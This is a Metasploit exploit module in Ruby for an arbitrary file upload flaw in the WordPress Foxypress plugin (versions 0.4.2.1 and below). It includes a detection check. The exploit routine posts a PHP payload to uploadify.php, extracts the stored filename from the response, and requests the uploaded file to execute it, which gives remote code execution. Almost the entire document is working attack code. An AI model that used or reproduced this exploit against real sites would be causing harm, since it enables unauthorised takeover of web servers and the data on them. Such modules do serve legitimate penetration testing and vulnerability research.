WordPress plugin Foxypress uploadify.php Arbitrary Code Execution

`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# web site for more information on licensing and terms of use.  
# http://metasploit.com/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'WordPress plugin Foxypress uploadify.php Arbitrary Code Execution',  
'Description' => %q{  
This module exploits an arbitrary PHP code execution flaw in the WordPress  
blogging software plugin known as Foxypress. The vulnerability allows for arbitrary  
file upload and remote code execution via the uploadify.php script. The Foxypress  
plug-in versions 0.4.2.1 and below are vulnerable.  
},  
'Author' =>  
[  
'Sammy FORGIT', # Vulnerability Discovery, PoC  
'patrick' # Metasploit module  
],  
'License' => MSF_LICENSE,  
'Version' => '$Revision$',  
'References' =>  
[  
['EDB', '18991'],  
['OSVDB', '82652'],  
['BID', '53805'],  
],  
'Privileged' => false,  
'Payload' =>  
{  
'Compat' =>  
{  
'ConnectionType' => 'find',  
},  
},  
'Platform' => 'php',  
'Arch' => ARCH_PHP,  
'Targets' => [[ 'Automatic', { }]],  
'DisclosureDate' => 'Jun 05 2012',  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('TARGETURI', [true, "The full URI path to WordPress", "/"]),  
], self.class)  
end  
  
def check  
uri = target_uri.path  
uri << '/' if uri[-1,1] != '/'  
  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => "#{uri}wp-content/plugins/foxypress/uploadify/uploadify.php"  
})  
  
if res and res.code == 200  
return Exploit::CheckCode::Detected  
else  
return Exploit::CheckCode::Safe  
end  
end  
  
def exploit  
  
uri = target_uri.path  
uri << '/' if uri[-1,1] != '/'  
  
peer = "#{rhost}:#{rport}"  
  
post_data = Rex::MIME::Message.new  
post_data.add_part("<?php #{payload.encoded} ?>", "application/octet-stream", nil, "form-data; name=\"Filedata\"; filename=\"#{rand_text_alphanumeric(6)}.php\"")  
  
print_status("#{peer} - Sending PHP payload")  
  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => "#{uri}wp-content/plugins/foxypress/uploadify/uploadify.php",  
'ctype' => 'multipart/form-data; boundary=' + post_data.bound,  
'data' => post_data.to_s  
})  
  
if not res or res.code != 200 or res.body !~ /\{\"raw_file_name\"\:\"(\w+)\"\,/  
print_error("#{peer} - File wasn't uploaded, aborting!")  
return  
end  
  
print_good("#{peer} - Our payload is at: #{$1}.php! Calling payload...")  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => "#{uri}wp-content/affiliate_images/#{$1}.php"  
})  
  
if res and res.code != 200  
print_error("#{peer} - Server returned #{res.code.to_s}")  
end  
  
end  
  
end  
`